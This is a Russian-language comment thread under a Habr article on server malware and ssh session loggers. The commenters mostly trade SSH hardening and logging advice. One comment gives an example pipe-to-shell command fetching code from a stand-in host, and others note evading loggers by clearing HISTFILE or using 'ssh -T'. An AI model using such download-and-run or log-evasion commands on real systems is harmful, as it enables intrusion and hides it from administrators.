Комментарии 57
Просто бот пытается скомпилить KDE на FreeBSD! :)
По теме: для этих же целей использую полное логирование bash в syslog на удаленный сервер (для 3.х нужен патч, в 4.х уже есть в исходниках)
По теме: для этих же целей использую полное логирование bash в syslog на удаленный сервер (для 3.х нужен патч, в 4.х уже есть в исходниках)
6. Удаляйте тестовые аккаунты, когда они становятся не нужны.
добавил в статью
Было б много плюсов поставил бы все.
А еще
www.freebsd.org/doc/handbook/audit-config.html
И auditd для линуксов.
А еще
www.freebsd.org/doc/handbook/audit-config.html
И auditd для линуксов.
Я бы начал с: 1. установите fail2ban или аналогичную утилиту блокировки попыток
Глупый бот. Что-либо в стиле «wget something/bad?`uname -s` -O- | sh» было бы куда менее диагностируемо, особенно если это был бы shar.
И да, судя по тому, что wget был неоднократно дернут, это, вероятно, был не бот, а вполне живой человек.
И да, судя по тому, что wget был неоднократно дернут, это, вероятно, был не бот, а вполне живой человек.
> Использование ssh-логгеров может быть очень полезным.
Вообще-то, в первую очередь, «очень полезным» будет не создавать (и не забывать) на сервере логин test с паролем test. :-/
Вообще-то, в первую очередь, «очень полезным» будет не создавать (и не забывать) на сервере логин test с паролем test. :-/
согласен с вами, но человеческий фактор всегда был и будет, именно для этого нужны ssh-логгеры. Да и взлом сервера через уязвимости и брутфорс никто не отменял, хорошая память не спасет вас от malware :-)
В случае взлома сервера через уязвимости termlog может не помочь.
ну, помочь то он, может и сможет, но толку от этого…
только переустановка/восстановление из бекапа
только переустановка/восстановление из бекапа
Откровенно говоря, если бы это был мой сервер, то переустановка/восстановление из бекапа произошли бы и в описанном автором поста случае, потому что сервер так или иначе скомпрометирован. На заборе в termlog'е одно написано, а на деле там, может быть, была эксплуатация какой-нибудь пока неопубликованной локальной уязвимости. Мне проще один раз перезалить сервер и успокоиться, чем потом годами проверять систему после каждого CVE, декларирующего локальную уязвимость одной из библиотек, установленных на момент компрометации у меня в системе.
Так что пользу в termlog'е я вижу только одну: когда ко мне придут из БСТМ МВД РФ и спросят, какого [SKIPPED] мой сервер принимал участие в DDoS-атаке на сайт duma.gov.ru и во взломе сервера zakupki.gov.ru, мне будет что показать им в ответ. Есть (небольшая) вероятность, что на этом общение с МВД по инциденту ограничится. Но применять его для целей вида «если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру»… да упаси Господи. Сами применяйте.
Так что пользу в termlog'е я вижу только одну: когда ко мне придут из БСТМ МВД РФ и спросят, какого [SKIPPED] мой сервер принимал участие в DDoS-атаке на сайт duma.gov.ru и во взломе сервера zakupki.gov.ru, мне будет что показать им в ответ. Есть (небольшая) вероятность, что на этом общение с МВД по инциденту ограничится. Но применять его для целей вида «если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру»… да упаси Господи. Сами применяйте.
ну я в комментарии ниже об этом, в общем-то и сказал.
компрометация — нафиг нафиг, отключить от внешней сети, развернуть из бекапа (диффы файловые тоже могут помочь), обновить всё что можно, проверить все конфиги те, что можно и потанцевали дальше.
но чаще и проще — слить конфигурацию сервисов/дампы баз — и в переустановку, и потом проверить еще конфиги
компрометация — нафиг нафиг, отключить от внешней сети, развернуть из бекапа (диффы файловые тоже могут помочь), обновить всё что можно, проверить все конфиги те, что можно и потанцевали дальше.
но чаще и проще — слить конфигурацию сервисов/дампы баз — и в переустановку, и потом проверить еще конфиги
После того как вас взломали никакие логи уже не помогут.
Не подскажите аналог termlog под linux, желательно чтобы был пакет в дебиане.
Тут не только логгер нужен. Как минимум плюсом нужен блеклист, межсетевой экран, настройка sudo и настройка sshd.
ловил что-то похоже, но пользователь был создан не мной, а пакетом oracle-validated. конечно же сам лошара, надо внимательнее читать документацию :)
после этого, как бы не были сложны пароли на вход по ssh, заход на сервера только через openvnp, ssh во внешку закрыт.
после этого, как бы не были сложны пароли на вход по ssh, заход на сервера только через openvnp, ssh во внешку закрыт.
закроет вам провайдер туннели и до свиданья, мой любимый город. у товарища вон туннели закрыли. вместе с портами самбы для dhcp юзеров.
Разве нельзя ограничить: а) круг юзеров для которых разрешен вход через ssh, б) количество новых конектов к ssh (против брута)?
Только ssh2, только по ключам, только хадкор! :)
Уже давно перевел аутентификацию на серверах только по ключам, поставил fail2ban, две неправильные авторизации и бот отправляется отдыхать на 30 минут (ошибиться в ключе благонадёжному пользователю невозможно, поэтому такой суровый лимит). За сутки fail2ban отсекает несколько сотен таких ботов с логинами test, php, apache и им подобными.
У такой схемы есть явный недостаток, а именно возможность устроить DDoS на iptables, но я пока не сталкивался.
Уже давно перевел аутентификацию на серверах только по ключам, поставил fail2ban, две неправильные авторизации и бот отправляется отдыхать на 30 минут (ошибиться в ключе благонадёжному пользователю невозможно, поэтому такой суровый лимит). За сутки fail2ban отсекает несколько сотен таких ботов с логинами test, php, apache и им подобными.
У такой схемы есть явный недостаток, а именно возможность устроить DDoS на iptables, но я пока не сталкивался.
Поддерживаю обеими руками — ЗА! Сам я использую только ключи для SSH, авторизация с обычными паролями везде запрещена, одни положительные эмоции.
Про DDoS интересно — каким образом?
Про DDoS интересно — каким образом?
Видимо все же DoS. Путем дикого увеличения кол-ва правил(??). Но, сдается мне, что скорее боты канал засрут мусорными запросами, нежели файрволл запорят. Тогда уже вполне ddos выдет :)
перевесьте порт ssh на какой «высокий» порт и логи с test/php/admin/toor прекратятся
для ботов слишком напряжно по всем портам бегать
для ботов слишком напряжно по всем портам бегать
Тут у меня в ирке товарищи интересуются: вы после бота пароль пользователя test сменили? Вообще, IP-адрес вашего сервера не подскажете на поиграться? :-)
Статейка интересная, понравилась, плюсанул.
Внесу свои 5 копеек. А тестовому аккаунту нельзя было изначально дать только локальный вход в систему? Тогда бы и инцидента-то не произошло бы.
Внесу свои 5 копеек. А тестовому аккаунту нельзя было изначально дать только локальный вход в систему? Тогда бы и инцидента-то не произошло бы.
необходимо было протестировать именно удаленный вход и запись команд в лог-файл разными пользователями.
Простите, но каким же идиотом надо быть.
первое — тестовые сервера в песочнице.
второе — доступ по ssh с ограниченного списка IP для «тестовых/временных» аккаунтов + авторизация по ключу.
третье — переопределить ssh-listen порт дело одной строки и рестарта сервиса, и не забыть на gateway nat поправить.
А даже обычного аудита, помнится, хватало для того чтобы в почту всем админам свалилось письмо «сервер такой-то, создана учетка такая-то.»
PS в некоторых компаниях это повод получить трудовую на руки с увольнением по статье.
а логирование куда-то на удалёный сервер вообще хорошая штука.
/me почесал свой работающий голой попой в инете windows 7/2008r2 десктоп и подумал, почем его до сих пор никто не поломал..???
первое — тестовые сервера в песочнице.
второе — доступ по ssh с ограниченного списка IP для «тестовых/временных» аккаунтов + авторизация по ключу.
третье — переопределить ssh-listen порт дело одной строки и рестарта сервиса, и не забыть на gateway nat поправить.
А даже обычного аудита, помнится, хватало для того чтобы в почту всем админам свалилось письмо «сервер такой-то, создана учетка такая-то.»
PS в некоторых компаниях это повод получить трудовую на руки с увольнением по статье.
а логирование куда-то на удалёный сервер вообще хорошая штука.
/me почесал свой работающий голой попой в инете windows 7/2008r2 десктоп и подумал, почем его до сих пор никто не поломал..???
Вы все правильно говорите, но это уже «задний ум». Вообще в теории — любая система — абсолютно(!) неприступная крепость, даже без специальных мер безопасности, только лишь если все причастные к ее созданию нигде ничего не забыли. Админ не забыл удалить пользователя test/test, программист сетевого демона не забыл проверить длину считанных от пользователя значений итд. Все просто. Но такое, как показывает жизнь, даже пентагону не под силу. Все рано или поздно что-то забывают.
Не говоря уже о том, что редко какая система — конечный продукт. Обычно все они динамически строятся. Только все сделали как надо — как уже, оказывается, новые требования к тем же серверам выдвинуты, и надо что-то еще доделать. Причем уже делать пора, а не думать, совместимы ли новые запросы с тщательно продуманной ранее схемой защиты. Пора — потому что бизнес не ждет.
Поэтому разумные и верные идеи по реально качественной защите — очень интересны, но часто им место в фантастике и разговорах секурщиков на досуге, и редко когда в реальной жизни :-(
Не говоря уже о том, что редко какая система — конечный продукт. Обычно все они динамически строятся. Только все сделали как надо — как уже, оказывается, новые требования к тем же серверам выдвинуты, и надо что-то еще доделать. Причем уже делать пора, а не думать, совместимы ли новые запросы с тщательно продуманной ранее схемой защиты. Пора — потому что бизнес не ждет.
Поэтому разумные и верные идеи по реально качественной защите — очень интересны, но часто им место в фантастике и разговорах секурщиков на досуге, и редко когда в реальной жизни :-(
Видимо, мы с Вами где-то не там работаем.
Вспоминая про статьи и коды п/о NASA, где вон каждый битик выверяется, и хистори ведется десятилетиями :)
Ну не знаю, я на продакшен домен групповые политики выкатывать не буду. максимум на OU.
Про лезть в тот же exchange — до полного бекапа виртуалки — нини.
про писать свои скрипты/софт — точно также, проверю всё, что можно.
Вспоминая про статьи и коды п/о NASA, где вон каждый битик выверяется, и хистори ведется десятилетиями :)
Ну не знаю, я на продакшен домен групповые политики выкатывать не буду. максимум на OU.
Про лезть в тот же exchange — до полного бекапа виртуалки — нини.
про писать свои скрипты/софт — точно также, проверю всё, что можно.
Вспомнилось:
Давно-давно мне как-то стало интересно посмотреть на разные скрипты и код разных эксплоитов и сканеров на тот момент. Искать их было неохота (тем более, что фейка достаточно много). Вместо этого я просто сделал jail на FreeBSD/Alpha и создал что-то типа test/test пользователя.
За один вечер в моем наличии была достаточна большая коллекция разного рода эксплоитов. Почти все были под Linux/x86, конечно, и на Alpha процессоре эти бинарники не запускались, а gcc не было установлено (да и многие script-kiddies на тот момент пользоваться gcc не умели все равно).
А когда народ начал pr0n и варез закачивать, то я тогда остановил это безобразие.
Давно-давно мне как-то стало интересно посмотреть на разные скрипты и код разных эксплоитов и сканеров на тот момент. Искать их было неохота (тем более, что фейка достаточно много). Вместо этого я просто сделал jail на FreeBSD/Alpha и создал что-то типа test/test пользователя.
За один вечер в моем наличии была достаточна большая коллекция разного рода эксплоитов. Почти все были под Linux/x86, конечно, и на Alpha процессоре эти бинарники не запускались, а gcc не было установлено (да и многие script-kiddies на тот момент пользоваться gcc не умели все равно).
А когда народ начал pr0n и варез закачивать, то я тогда остановил это безобразие.
Троллинг хороший, годный. Теперь я знаю, как использовать завалявшуюся у меня PARISC-машинку %-)
:):) я еще иногда подумываю про как же эту систему зовут, в общем есть пачка фейковых серверов в сети и мониторинг их на тему кто что пытается просканировать и все это сыпется в консоль. Известная софта…
Ставьте! :-)
Я как-то по молодости заломал какой-то сервер от DEC с их нативным юниксом — очень необычно было, что некоторые команды там немного не такие. Первый (и единственный) опыт работы на такой системе.
Можете даже пароль в баннере указать, чтоб все заходили — все равно ж машина бездействует. А так хоть польза будет.
Я как-то по молодости заломал какой-то сервер от DEC с их нативным юниксом — очень необычно было, что некоторые команды там немного не такие. Первый (и единственный) опыт работы на такой системе.
Можете даже пароль в баннере указать, чтоб все заходили — все равно ж машина бездействует. А так хоть польза будет.
пойду сдувать пыль со своего спаркового Fire V210 ;-)
Кстати, я правильно понимаю, что бот/злоумышленник даже `export HISTFILE=""` не сделал перед выполнением своих действий, и вся его активность имеется в ~test/.bash_history? Какие-то совсем неинтересные хацкеры пошли.
Если кому интересно, то заставил это безобразие работать на FreeBSD 9.0
Ссылка вот: GitHub
Ссылка вот: GitHub
Скопировал в порт в папку work/termlog2.5 и убрал пометку broken из Makefile. Все собралось и даже заработало, но только сессии начинают записываться только после перезапуска termlog. То есть если пользователь поднял ssh-сессию и termlog рестартовал, то сессия пишется. Если пользователь просто подключился, поработал и отключился и termlog в это время не перезапускался то сессия не пишется.
Вылетело из головы… #warning «only FreeBSD 9.0+!»
в 9-й FreeBSD поменяли UTMP на UTMPX и порт сломался. Без правки кода не работает. Если кому нужно — могу сделать код поддерживающий FreeBSD 8.0 и FreeBSD 9.0 одновременно…
в 9-й FreeBSD поменяли UTMP на UTMPX и порт сломался. Без правки кода не работает. Если кому нужно — могу сделать код поддерживающий FreeBSD 8.0 и FreeBSD 9.0 одновременно…
3.Соблюдайте элементарные правила безопасности — используйте устойчивые к перебору пароли и меняйте их периодически.
прошу добавить в список авторизацию _ТОЛЬКО_ по ключам.
а доступ по паролю необходимости на специальный гейт.
прошу добавить в список авторизацию _ТОЛЬКО_ по ключам.
а доступ по паролю необходимости на специальный гейт.
Посмотрел исходники.
Принцип действия этого termlog'а завязан на utmp… тоесть,
мне достаточно зайти на ваш сервер так: ssh -T user@server и этот логер в пролете.
P.S. Аникейный метод защиты от скрипткидисов
Принцип действия этого termlog'а завязан на utmp… тоесть,
мне достаточно зайти на ваш сервер так: ssh -T user@server и этот логер в пролете.
P.S. Аникейный метод защиты от скрипткидисов
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Серверное malware или зачем нужны ssh-логгеры